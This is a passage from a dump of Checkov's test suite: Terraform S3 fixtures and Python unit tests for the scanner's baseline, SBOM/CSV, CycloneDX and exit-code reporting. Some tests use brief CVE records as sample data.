\"inspected_key\": \"\",\n                    \"inspected_value\": \"\"\n                }\n            ],\n            \"skipped_checks\": []\n        },\n        \"image_cached_results\": []\n    }"
  },
  {
    "path": "tests/common/output/fixtures/main.tf",
    "content": "resource \"aws_s3_bucket\" \"destination\" {\n  # checkov:skip=CKV_AWS_19: no encryption needed\n  bucket = \"tf-test-bucket-destination-12345\"\n  acl = var.acl\n  versioning {\n    enabled = var.is_enabled\n  }\n}"
  },
  {
    "path": "tests/common/output/fixtures/main_2.tf",
    "content": "resource \"aws_s3_bucket\" \"destination_3\" {\n  # checkov:skip=CKV_AWS_19: no encryption needed\n  bucket = \"tf-test-bucket-destination-12345\"\n  acl = var.acl\n  versioning {\n    enabled = var.is_enabled\n  }\n}\n\nresource \"aws_s3_bucket\" \"destination_2\" {\n  # checkov:skip=CKV_AWS_19: no encryption needed\n  bucket = \"tf-test-bucket-destination-12345\"\n  acl = var.acl\n  versioning {\n    enabled = var.is_enabled\n  }\n}\n"
  },
  {
    "path": "tests/common/output/test_baseline.py",
    "content": "import argparse\nfrom pathlib import Path\n\nfrom checkov.common.output.baseline import Baseline\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\ndef test_to_dict():\n    # given\n    test_folder = Path(__file__).parent / \"fixtures\"\n    checks = [\"CKV_AWS_18\", \"CKV_AWS_19\", \"CKV_AWS_21\", \"CKV2_AWS_6\"]  # 1 pass, 2 fail, 1 skip\n    report = Runner().run(root_folder=str(test_folder), runner_filter=RunnerFilter(checks=checks))\n\n    baseline = Baseline()\n    baseline.add_findings_from_report(report)\n\n    # when\n    output = baseline.to_dict()\n\n    # then\n    assert output == {\n        \"failed_checks\": [\n            {\n                \"file\": \"/main.tf\",\n                \"findings\": [\n                    {\n                        \"resource\": \"aws_s3_bucket.destination\",\n                        \"check_ids\": [\"CKV2_AWS_6\", \"CKV_AWS_18\"],\n                    }\n                ],\n            },\n            {\n                \"file\": \"/main_2.tf\",\n                \"findings\": [\n                    {\n                        \"resource\": \"aws_s3_bucket.destination_2\",\n                        \"check_ids\": [\"CKV2_AWS_6\", \"CKV_AWS_18\"],\n                    },\n                    {\n                        \"resource\": \"aws_s3_bucket.destination_3\",\n                        \"check_ids\": [\"CKV2_AWS_6\", \"CKV_AWS_18\"],\n                    },\n                ],\n            },\n        ]\n    }\n"
  },
  {
    "path": "tests/common/output/test_bom_report.py",
    "content": "import logging\nimport os\nimport io\nimport sys\nfrom pathlib import Path\nfrom unittest.mock import patch\nfrom checkov.cloudformation.runner import Runner as cfn_runner\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.common.util.banner import banner\nfrom checkov.kubernetes.runner import Runner as k8_runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner as tf_runner\n\nlogger = logging.getLogger()\nlogger.level = logging.INFO\n\n\nclass TestBomOutput:\n    def test_iac_csv_output(self, tmp_path: Path):\n        test_files_dir = os.path.dirname(os.path.realpath(__file__)) + \"/../runner_registry/example_s3_tf\"\n        runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, tf_runner(), cfn_runner(), k8_runner()\n        )\n        reports = runner_registry.run(root_folder=test_files_dir)\n\n        with patch('sys.stdout', new=io.StringIO()) as captured_output:\n            try:\n                stream_handler = logging.StreamHandler(sys.stdout)\n                logger.addHandler(stream_handler)\n                runner_registry.print_iac_bom_reports(output_path=str(tmp_path),\n                                                      scan_reports=reports,\n                                                      output_types=['csv'],\n                                                      account_id=\"org/name\")\n            finally:\n                logger.removeHandler(stream_handler)\n\n        output = captured_output.getvalue()\n        assert 'Persisting SBOM to' in output\n        iac_file_path = tmp_path / 'results_iac.csv'\n        with open(iac_file_path) as file:\n            content = file.readlines()\n            header = content[:1][0]\n            assert 'Resource,Path,Git Org,Git Repository,Misconfigurations,Severity,Policy title,Guideline\\n' == header\n            rows = content[1:]\n            assert 'aws_s3_bucket' in rows[0]\n\n    def test_sca_package_csv_output(self, tmp_path: Path):\n        \"\"\"\n        tests for sca_package cvs are located in:\n        tests/sca_package/test_output_reports.py\n        \"\"\"\n        assert True\n\n    def test_sca_image_csv_output(self, tmp_path: Path):\n        \"\"\"\n        tests for sca_image cvs are located in:\n        tests/sca_image/test_output_reports.py\n        \"\"\"\n        assert True\n\n    def test_print_iac_bom_reports(self, tmp_path: Path):\n        test_files_dir = os.path.dirname(os.path.realpath(__file__)) + \"/../runner_registry/example_s3_tf\"\n        runner_filter = RunnerFilter(framework=None, checks=None, skip_checks=None)\n        runner_registry = RunnerRegistry(\n            banner, runner_filter, tf_runner(), cfn_runner(), k8_runner()\n        )\n        reports = runner_registry.run(root_folder=test_files_dir)\n        output_types = [\"cyclonedx\", \"csv\"]\n        output_path = tmp_path\n\n        result_files_list = runner_registry.print_iac_bom_reports(output_path=str(output_path),\n                                                                  scan_reports=reports,\n                                                                  output_types=output_types,\n                                                                  account_id=\"org/name\")\n\n        assert len(result_files_list) == len(output_types)\n        for result_file in result_files_list.values():\n            assert os.path.exists(result_file)\n"
  },
  {
    "path": "tests/common/output/test_common.py",
    "content": "import pytest\n\nfrom checkov.common.output.common import compare_table_items_severity\n\n\ndef test_compare_cve_items_severity():\n    # given\n    cve = [\n        {\"id\": \"CVE-2016-6186\", \"severity\": \"medium\", \"fixed_version\": \"1.8.14\"},\n        {\"id\": \"CVE-2016-7401\", \"severity\": \"high\", \"fixed_version\": \"1.8.15\"},\n        {\"id\": \"CVE-2021-33203\", \"severity\": \"medium\", \"fixed_version\": \"2.2.24\"},\n        {\"id\": \"CVE-2019-19844\", \"severity\": \"critical\", \"fixed_version\": \"1.11.27\"},\n    ]\n\n    # when\n    cve.sort(key=compare_table_items_severity, reverse=True)\n\n    # then\n    assert cve == [\n        {\"id\": \"CVE-2019-19844\", \"severity\": \"critical\", \"fixed_version\": \"1.11.27\"},\n        {\"id\": \"CVE-2016-7401\", \"severity\": \"high\", \"fixed_version\": \"1.8.15\"},\n        {\"id\": \"CVE-2016-6186\", \"severity\": \"medium\", \"fixed_version\": \"1.8.14\"},\n        {\"id\": \"CVE-2021-33203\", \"severity\": \"medium\", \"fixed_version\": \"2.2.24\"},\n    ]\n\n\ndef test_compare_iac_items_severity():\n    # given\n    iac = [\n        {\"id\": \"BC_K8S_1\", \"severity\": \"medium\"},\n        {\"id\": \"BC_K8S_2\", \"severity\": \"high\"},\n        {\"id\": \"BC_K8S_3\", \"severity\": \"medium\"},\n        {\"id\": \"BC_K8S_4\", \"severity\": \"critical\"},\n    ]\n\n    # when\n    iac.sort(key=compare_table_items_severity, reverse=True)\n\n    # then\n    assert iac == [\n        {\"id\": \"BC_K8S_4\", \"severity\": \"critical\"},\n        {\"id\": \"BC_K8S_2\", \"severity\": \"high\"},\n        {\"id\": \"BC_K8S_1\", \"severity\": \"medium\"},\n        {\"id\": \"BC_K8S_3\", \"severity\": \"medium\"}\n    ]\n"
  },
  {
    "path": "tests/common/output/test_cyclonedx_report.py",
    "content": "import json\nimport os\nfrom pathlib import Path\n\nfrom cyclonedx.model.component import Component, ComponentType\nfrom cyclonedx.model.vulnerability import VulnerabilitySeverity\nfrom packageurl import PackageURL\n\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.output.report import Report, CheckType\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.output.common import ImageDetails\nfrom checkov.common.output.cyclonedx import CycloneDX\nfrom checkov.common.sca.commons import get_package_lines\nfrom checkov.common.sca.output import create_report_cve_record\nfrom checkov.common.output.record import Record\nfrom checkov.terraform.runner import Runner\n\n\ndef test_valid_cyclonedx_bom():\n    # given\n    test_file = Path(__file__).parent / \"fixtures/main.tf\"\n    repo_id = \"acme/example\"\n    report = Runner().run(root_folder=\"\", files=[str(test_file)])\n\n    # when\n    cyclonedx = CycloneDX(repo_id=repo_id, reports=[report])\n    output = cyclonedx.get_xml_output()\n\n    # then\n    assert len(cyclonedx.bom.components) == 1\n\n    component = next(iter(cyclonedx.bom.components))\n\n    assert component.name == 'aws_s3_bucket.destination'\n    assert component.purl.name == 'aws_s3_bucket.destination'\n    assert component.purl.namespace == 'acme/example/main.tf'\n    assert component.purl.type == 'terraform'\n    assert component.purl.version.startswith('sha1:')\n    assert component.type == ComponentType.APPLICATION\n\n    assert len(cyclonedx.bom.vulnerabilities) == 6\n    # doesn't matter which vulnerability, they are all unknown for runs without platform connection\n    assert next(iter(next(iter(cyclonedx.bom.vulnerabilities)).ratings)).severity == VulnerabilitySeverity.UNKNOWN\n\n    assert \"http://cyclonedx.org/schema/bom/1.4\" in output\n\ndef test_valid_cyclonedx_image_bom():\n    # given\n    repo_id = 'acme/repo'\n    rootless_file_path = \"Dockerfile (sha256:123456)\"\n    file_abs_path = \"/path/to/Dockerfile (sha256:123456)\"\n    check_class = \"checkov.common.bridgecrew.vulnerability_scanning.sca_scanner.imageScanner\"\n    image_details: ImageDetails = ImageDetails(\n        distro='Debian GNU/Linux 11 (bullseye)',\n        distro_release='bullseye',\n        package_types={'curl@7.74.0-1.3+deb11u1': 'os'},\n        image_id='ubuntu:latest'\n    )\n    vulnerability = {\n        'id': 'CVE-2022-32207',\n        'status': 'fixed in 7.74.0-1.3+deb11u2',\n        'cvss': 9.8,\n        'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H',\n        'description': 'When curl < 7.84.0 saves cookies, alt-svc and hsts data to local files, it makes the operation atomic by finalizing the operation with a rename from a temporary name to the final target file name.In that rename operation, it might accidentally *widen* the permissions for the target file, leaving the updated file accessible to more users than intended.',\n        'severity': 'critical',\n        'packageName': 'curl',\n        'packageVersion': '7.74.0-1.3+deb11u1',\n        'link': 'https://security-tracker.debian.org/tracker/CVE-2022-32207',\n        'riskFactors': [\n            'Attack complexity: low',\n            'Attack vector: network',\n            'Critical severity',\n            'Has fix',\n            'Recent vulnerability'\n        ],\n        'impactedVersions': ['<7.74.0-1.3+deb11u2'],\n        'publishedDate': '2022-07-07T16:15:00+03:00',\n        'discoveredDate': '2022-08-02T14:05:40+03:00',\n        'fixDate': '2022-07-07T16:15:00+03:00'\n    }\n\n    record: Record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability,\n        licenses=\"BSD-3-Clause\",\n        sca_details=image_details,\n        package={'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False},\n    )\n    report = Report(check_type='sca_image')\n    report.add_record(record)\n\n    # when\n    cyclonedx = CycloneDX(repo_id=repo_id, reports=[report])\n    output = cyclonedx.get_xml_output()\n\n    # then\n    assert len(cyclonedx.bom.components) == 2\n    package_purl = PackageURL(\n        name='curl',\n        namespace='acme/repo/Dockerfile/debian',\n        type='deb',\n        version='7.74.0-1.3+deb11u1',\n        qualifiers={'distro': 'bullseye'}\n    )\n\n    package_component = cyclonedx.bom.get_component_by_purl(purl=package_purl)\n\n    assert package_component is not None\n    assert package_component.name == \"curl\"\n    assert package_component.type == ComponentType.LIBRARY\n    assert package_component.version == \"7.74.0-1.3+deb11u1\"\n    assert len(package_component.licenses) == 1\n    assert next(iter(package_component.licenses)).name == \"BSD-3-Clause\"\n\n    assert len(cyclonedx.bom.vulnerabilities) == 1\n    assert next(iter(next(iter(cyclonedx.bom.vulnerabilities)).ratings)).severity == VulnerabilitySeverity.CRITICAL\n\n    image_purl = PackageURL(\n        name='Dockerfile',\n        namespace='acme/repo',\n        type='oci',\n        version='ubuntu:latest',\n    )\n    image_component = Component(\n        name='acme/repo//ubuntu:latest',\n        purl=image_purl,\n        group=None,\n        type=ComponentType.CONTAINER,\n        version=''\n    )\n    assert cyclonedx.bom.has_component(image_component)\n\n    assert \"http://cyclonedx.org/schema/bom/1.4\" in output\n\n\ndef test_sca_packages_cyclonedx_bom():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    vulnerability_details = {\n        \"id\": \"CVE-2019-19844\",\n        \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        \"cvss\": 9.8,\n        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n        \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n        \"severity\": \"moderate\",\n        \"packageName\": \"django\",\n        \"packageVersion\": \"1.2\",\n        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n        \"riskFactors\": [\"Attack complexity: low\", \"Attack vector: network\", \"Critical severity\", \"Has fix\"],\n        \"impactedVersions\": [\"<1.11.27\"],\n        \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n        \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n        \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n    }\n    package = {'package_registry': \"https://registry.npmjs.org/\",\n               'is_private_registry': False,\n               \"linesNumbers\": [2, 6]}\n\n    # when\n    record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses='OSI_BDS',\n        package=package,\n        file_line_range=get_package_lines(package)\n    )\n\n    report = Report(CheckType.SCA_PACKAGE)\n    report.add_resource(record.resource)\n    report.add_record(record)\n\n    report.extra_resources.add(\n        ExtraResource(\n            file_abs_path=file_abs_path,\n            file_path=f\"/{rootless_file_path}\",\n            resource=f'{rootless_file_path}.testpkg',\n            vulnerability_details={\n                \"package_name\": \"testpkg\",\n                \"package_version\": \"1.1.1\",\n                \"licenses\": \"MIT\",\n            }\n        )\n    )\n\n    cyclonedx = CycloneDX([report], \"repoid/test\")\n    output = cyclonedx.get_xml_output()\n\n    # then\n    assert record.file_line_range == [2, 6]\n    assert output\n\n\ndef test_duplicate_sca_packages_cyclonedx_bom():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    vulnerability_details = {\n        \"id\": \"CVE-2019-19844\",\n        \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        \"cvss\": 9.8,\n        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n        \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n        \"severity\": \"moderate\",\n        \"packageName\": \"django\",\n        \"packageVersion\": \"1.2\",\n        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n        \"riskFactors\": [\"Attack complexity: low\", \"Attack vector: network\", \"Critical severity\", \"Has fix\"],\n        \"impactedVersions\": [\"<1.11.27\"],\n        \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n        \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n        \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n    }\n    package_1 = {\n        \"package_registry\": \"https://registry.npmjs.org/\",\n        \"is_private_registry\": False,\n        \"linesNumbers\": [2, 3],\n    }\n    package_2 = {\n        \"package_registry\": \"https://registry.npmjs.org/\",\n        \"is_private_registry\": False,\n        \"linesNumbers\": [5, 6],\n    }\n\n    record_1 = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses=\"OSI_BDS\",\n        package=package_1,\n        file_line_range=get_package_lines(package_1),\n    )\n    record_2 = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses=\"OSI_BDS\",\n        package=package_2,\n        file_line_range=get_package_lines(package_2),\n    )\n\n    report = Report(CheckType.SCA_PACKAGE)\n    report.add_resource(record_1.resource)\n    report.add_record(record_1)\n    report.add_resource(record_2.resource)\n    report.add_record(record_2)\n\n    # when\n    cyclonedx = CycloneDX([report], \"repoid/test\")\n\n    # then\n    assert len(cyclonedx.bom.components) == 1\n\n    component = next(iter(cyclonedx.bom.components))\n    assert component.bom_ref.value == \"pkg:pypi/repoid/test/requirements.txt/django@1.2\"\n\n\ndef test_create_schema_version_1_3(mocker: MockerFixture):\n    # given\n    test_file = Path(__file__).parent / \"fixtures/main.tf\"\n    repo_id = \"acme/example\"\n    report = Runner().run(root_folder=\"\", files=[str(test_file)])\n\n    mocker.patch.dict(os.environ, {\"CHECKOV_CYCLONEDX_SCHEMA_VERSION\": \"1.3\"})\n\n    # when\n    cyclonedx = CycloneDX(repo_id=repo_id, reports=[report])\n    output = cyclonedx.get_xml_output()\n\n    # then\n    assert len(cyclonedx.bom.components) == 1\n    assert len(cyclonedx.bom.vulnerabilities) == 6\n\n    assert \"http://cyclonedx.org/schema/bom/1.3\" in output\n\n\ndef test_create_library_component_maven_package() -> None:\n    # given\n    cyclone = CycloneDX([Report(CheckType.SCA_IMAGE)], repo_id=\"12345\")\n    package = {\"name\": 'org.bouncycastle_bcpkix-jdk15on',\n               \"version\": '1.69.00'}\n    rootless_file_path = \"Dockerfile\"\n\n    resource = ExtraResource(\n        file_abs_path=\"/path/to/Dockerfile\",\n        file_path=rootless_file_path,\n        resource=f\"{rootless_file_path}.{package['name']}\",\n        vulnerability_details={\n            \"package_name\": package[\"name\"],\n            \"package_version\": package[\"version\"],\n            \"licenses\": \"Unknown\",\n            \"package_type\": 'jar',\n        },\n    )\n\n    component = cyclone.create_library_component(resource, CheckType.SCA_IMAGE)\n\n    assert component.purl.name == 'bcpkix-jdk15on'\n    assert component.purl.version == '1.69.00'\n    assert component.purl.namespace == '12345/Dockerfile/org.bouncycastle'\n\n\ndef test_create_library_component_maven_package_without_group_name() -> None:\n    # given\n    cyclone = CycloneDX([Report(CheckType.SCA_IMAGE)], repo_id=\"12345\")\n    package = {\"name\": 'bcpkix-jdk15on',\n               \"version\": '1.69.00'}\n    rootless_file_path = \"Dockerfile\"\n\n    resource = ExtraResource(\n        file_abs_path=\"/path/to/Dockerfile\",\n        file_path=rootless_file_path,\n        resource=f\"{rootless_file_path}.{package['name']}\",\n        file_line_range=[2, 5],\n        vulnerability_details={\n            \"package_name\": package[\"name\"],\n            \"package_version\": package[\"version\"],\n            \"licenses\": \"Unknown\",\n            \"package_type\": 'jar'\n        },\n    )\n\n    component = cyclone.create_library_component(resource, CheckType.SCA_IMAGE)\n\n    assert component.purl.name == 'bcpkix-jdk15on'\n    assert component.purl.version == '1.69.00'\n    assert component.purl.namespace == '12345/Dockerfile'\n    assert component.properties[0].name == 'endLine'\n    assert component.properties[0].value == '5'\n    assert component.properties[1].name == 'startLine'\n    assert component.properties[1].value == '2'\n\n    resource2 = ExtraResource(\n        file_abs_path=\"/path/to/package.json\",\n        file_path='package.json',\n        resource=f\"package.json.{package['name']}\",\n        file_line_range=[0, 0],\n        vulnerability_details={\n            \"package_name\": package[\"name\"],\n            \"package_version\": package[\"version\"],\n            \"licenses\": \"Unknown\",\n            \"package_type\": 'jar'\n        },\n    )\n\n    component2 = cyclone.create_library_component(resource2, CheckType.SCA_PACKAGE)\n    assert component2.properties.key is None\n\n\ndef test_create_json_output():\n    # given\n    test_file = Path(__file__).parent / \"fixtures/main.tf\"\n    repo_id = \"acme/example\"\n    report = Runner().run(root_folder=\"\", files=[str(test_file)])\n\n    # when\n    cyclonedx = CycloneDX(repo_id=repo_id, reports=[report])\n    output = json.loads(cyclonedx.get_json_output())\n\n    # then\n    assert output[\"$schema\"] == \"http://cyclonedx.org/schema/bom-1.4.schema.json\"\n    assert len(output[\"components\"]) == 1\n    assert len(output[\"dependencies\"]) == 1\n    assert len(output[\"vulnerabilities\"]) == 6\n"
  },
  {
    "path": "tests/common/output/test_get_exit_code.py",
    "content": "import argparse\nimport os\nimport unittest\nfrom unittest import mock\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryType, CodeCategoryConfiguration\nfrom checkov.common.bridgecrew.integration_features.features.repo_config_integration import \\\n    integration as repo_config_integration\nfrom checkov.common.bridgecrew.severities import BcSeverities, Severities\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.report import Report\nfrom checkov.common.output.record import Record\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.common.typing import _ScaExitCodeThresholds\nfrom checkov.common.util.consts import PARSE_ERROR_FAIL_FLAG\nfrom checkov.runner_filter import RunnerFilter\n\n\n# for convenience\nOFF = Severities[BcSeverities.OFF]\nLOW = Severities[BcSeverities.LOW]\nMEDIUM = Severities[BcSeverities.MEDIUM]\nHIGH = Severities[BcSeverities.HIGH]\nCRITICAL = Severities[BcSeverities.CRITICAL]\n\n\nclass TestGetExitCode(unittest.TestCase):\n\n    def test_sca_get_exit_code(self):\n        report = Report('sca_package')\n        report.add_record(Record(\n            bc_check_id='BC_CVE_2022_123',\n            check_id='BC_VUL_2',\n            check_result={\"result\": CheckResult.FAILED},\n            severity=Severities[BcSeverities.LOW],\n            file_path='/requirements.txt',\n            resource='/requirements.txt.protobuf',\n            check_name='SCA package scan',\n            code_block=[],\n            file_line_range=[],\n            evaluations=None,\n            check_class='checkov.sca_package_2.scanner.Scanner',\n            file_abs_path='/requirements.txt'\n        ))\n        report.add_record(Record(\n            bc_check_id='BC_CVE_2022_456',\n            check_id='BC_VUL_2',\n            check_result={\"result\": CheckResult.FAILED},\n            severity=Severities[BcSeverities.HIGH],\n            file_path='/requirements.txt',\n            resource='/requirements.txt.protobuf',\n            check_name='SCA package scan',\n            code_block=[],\n            file_line_range=[],\n            evaluations=None,\n            check_class='checkov.sca_package_2.scanner.Scanner',\n            file_abs_path='/requirements.txt'\n        ))\n        report.add_record(Record(\n            bc_check_id='BC_CVE_2023_123',\n            check_id='BC_VUL_2',\n            check_result={\"result\": CheckResult.PASSED},\n            severity=Severities[BcSeverities.LOW],\n            file_path='/requirements.txt',\n            resource='/requirements.txt.click',\n            check_name='SCA package scan',\n            code_block=[],\n            file_line_range=[],\n            evaluations=None,\n            check_class='checkov.sca_package_2.scanner.Scanner',\n            file_abs_path='/requirements.txt'\n        ))\n        report.add_record(Record(\n            bc_check_id='BC_CVE_2023_456',\n            check_id='BC_VUL_2',\n            check_result={\"result\": CheckResult.PASSED},\n            severity=Severities[BcSeverities.HIGH],\n            file_path='/requirements.txt',\n            resource='/requirements.txt.click',\n            check_name='SCA package scan',\n            code_block=[],\n            file_line_range=[],\n            evaluations=None,\n            check_class='checkov.sca_package_2.scanner.Scanner',\n            file_abs_path='/requirements.txt'\n        ))\n        report.add_record(Record(\n            bc_check_id='BC_LIC_1',\n            check_id='BC_LIC_1',\n            check_result={\"result\": CheckResult.FAILED},\n            severity=Severities[BcSeverities.MEDIUM],\n            file_path='/requirements.txt',\n            resource='requirements.txt.django',\n            check_name='SCA license',\n            code_block=[],\n            file_line_range=[],\n            evaluations=None,\n            check_class='checkov.sca_package_2.scanner.Scanner',\n            file_abs_path='/requirements.txt'\n        ))\n        report.add_record(Record(\n            bc_check_id='BC_LIC_2',\n            check_id='BC_LIC_2',\n            check_result={\"result\": CheckResult.FAILED},\n            severity=Severities[BcSeverities.LOW],\n            file_path='/requirements.txt',\n            resource='requirements.txt.django',\n            check_name='SCA license',\n            code_block=[],\n            file_line_range=[],\n            evaluations=None,\n            check_class='checkov.sca_package_2.scanner.Scanner',\n            file_abs_path='/requirements.txt'\n        ))\n        report.add_record(Record(\n            bc_check_id='BC_LIC_1',\n            check_id='BC_LIC_1',\n            check_result={\"result\": CheckResult.PASSED},\n            severity=Severities[BcSeverities.MEDIUM],\n            file_path='/requirements.txt',\n            resource='requirements.txt.mysqlclient',\n            check_name='SCA license',\n            code_block=[],\n            file_line_range=[],\n            evaluations=None,\n            check_class='checkov.sca_package_2.scanner.Scanner',\n            file_abs_path='/requirements.txt'\n        ))\n        report.add_record(Record(\n            bc_check_id='BC_LIC_2',\n            check_id='BC_LIC_2',\n            check_result={\"result\": CheckResult.PASSED},\n            severity=Severities[BcSeverities.LOW],\n            file_path='/requirements.txt',\n            resource='requirements.txt.mysqlclient',\n            check_name='SCA license',\n            code_block=[],\n            file_line_range=[],\n            evaluations=None,\n            check_class='checkov.sca_package_2.scanner.Scanner',\n            file_abs_path='/requirements.txt'\n        ))\n\n        def reset_fail_thresholds() -> _ScaExitCodeThresholds:\n            return {\n                'LICENSES': {\n                    'soft_fail': False,\n                    'soft_fail_checks': [],\n                    'soft_fail_threshold': None,\n                    'hard_fail_checks': [],\n                    'hard_fail_threshold': None,\n                },\n                'VULNERABILITIES': {\n                    'soft_fail': False,\n                    'soft_fail_checks': [],\n                    'soft_fail_threshold': None,\n                    'hard_fail_checks': [],\n                    'hard_fail_threshold': None,\n                }\n            }\n\n        def set_key_in_both(key, value):\n            thresholds['LICENSES'][key] = value\n            thresholds['VULNERABILITIES'][key] = value\n\n        thresholds = reset_fail_thresholds()\n\n        # empty report\n        self.assertEqual(Report('sca_package').get_exit_code(thresholds), 0)\n\n        # test plain old soft fail\n        self.assertEqual(report.get_exit_code(thresholds), 1)\n        thresholds['VULNERABILITIES']['soft_fail'] = True\n        self.assertEqual(report.get_exit_code(thresholds), 1)\n        thresholds['LICENSES']['soft_fail'] = True\n        self.assertEqual(report.get_exit_code(thresholds), 0)\n\n        thresholds = reset_fail_thresholds()\n\n        # soft fail via --hard-fail-on OFF (or enforcement rules)\n        thresholds['VULNERABILITIES']['hard_fail_threshold'] = OFF\n        self.assertEqual(report.get_exit_code(thresholds), 1)\n        thresholds['LICENSES']['hard_fail_threshold'] = OFF\n        self.assertEqual(report.get_exit_code(thresholds), 0)\n\n        thresholds = reset_fail_thresholds()\n        # we can use BC_VUL_2 or list CVEs - this is easier\n        # soft fail and hard fail check lists are not specified by framework, so we combine them\n        set_key_in_both('soft_fail_checks', ['BC_LIC_1', 'BC_LIC_2'])\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # vuln causes failure\n        set_key_in_both('soft_fail_checks', ['BC_LIC_1', 'BC_LIC_2', 'BC_CVE_2022_123'])\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # one vuln still causes failure\n        set_key_in_both('soft_fail_checks', ['BC_VUL_2'])\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # license causes failure\n        set_key_in_both('soft_fail_checks', ['BC_VUL_2', 'BC_LIC_1'])\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # one license still causes failure\n        set_key_in_both('soft_fail_checks', ['BC_VUL_2', 'BC_LIC_1', 'BC_LIC_2'])\n        self.assertEqual(report.get_exit_code(thresholds), 0)\n\n        thresholds = reset_fail_thresholds()\n        set_key_in_both('soft_fail_checks', ['BC_LIC_1', 'BC_LIC_2', 'BC_CVE_2022_456'])\n        set_key_in_both('soft_fail_threshold', MEDIUM)  # filters out the low\n        self.assertEqual(report.get_exit_code(thresholds), 0)\n\n        set_key_in_both('soft_fail_checks', ['BC_VUL_2', 'BC_LIC_1'])\n        set_key_in_both('soft_fail_threshold', MEDIUM)  # filters out the low BC_LIC_2\n        self.assertEqual(report.get_exit_code(thresholds), 0)\n\n        thresholds = reset_fail_thresholds()\n        set_key_in_both('soft_fail_threshold', CRITICAL)\n        self.assertEqual(report.get_exit_code(thresholds), 0)\n\n        set_key_in_both('soft_fail_threshold', MEDIUM)\n        self.assertEqual(report.get_exit_code(thresholds), 1)\n\n        thresholds = reset_fail_thresholds()\n        set_key_in_both('hard_fail_checks', ['BC_CVE_2023_123'])  # passing\n        self.assertEqual(report.get_exit_code(thresholds), 0)\n\n        set_key_in_both('hard_fail_checks', ['BC_LIC_1'])\n        self.assertEqual(report.get_exit_code(thresholds), 1)\n\n        set_key_in_both('hard_fail_checks', ['BC_CVE_2022_123'])  # failing\n        self.assertEqual(report.get_exit_code(thresholds), 1)\n\n        thresholds = reset_fail_thresholds()\n        thresholds['VULNERABILITIES']['hard_fail_threshold'] = HIGH\n        thresholds['LICENSES']['hard_fail_threshold'] = MEDIUM\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # both hard fail\n        thresholds['LICENSES']['hard_fail_threshold'] = HIGH\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # vuln still hard fail\n        thresholds['VULNERABILITIES']['hard_fail_threshold'] = CRITICAL\n        thresholds['LICENSES']['hard_fail_threshold'] = MEDIUM\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # license still hard fail\n        thresholds['LICENSES']['hard_fail_threshold'] = HIGH\n        self.assertEqual(report.get_exit_code(thresholds), 0)\n\n        thresholds = reset_fail_thresholds()\n        set_key_in_both('soft_fail_threshold', CRITICAL)\n        set_key_in_both('hard_fail_checks', ['BC_CVE_2022_123'])\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # hard fail because it was explicitly listed\n        thresholds['VULNERABILITIES']['soft_fail'] = True\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # hard fail because it was explicitly listed\n\n        thresholds = reset_fail_thresholds()\n        set_key_in_both('soft_fail_threshold', CRITICAL)\n        set_key_in_both('hard_fail_checks', ['BC_LIC_1'])\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # hard fail because it was explicitly listed\n        thresholds['LICENSES']['soft_fail'] = True\n        self.assertEqual(report.get_exit_code(thresholds), 1)  # hard fail because it was explicitly listed\n\n    def test_get_exit_code(self):\n        record1 = Record(check_id='CKV_AWS_157',\n                         bc_check_id='BC_AWS_157',\n                         check_name=\"Some RDS check\", check_result={\"result\": CheckResult.FAILED},\n                         code_block=None, file_path=\"./rds.tf\",\n                         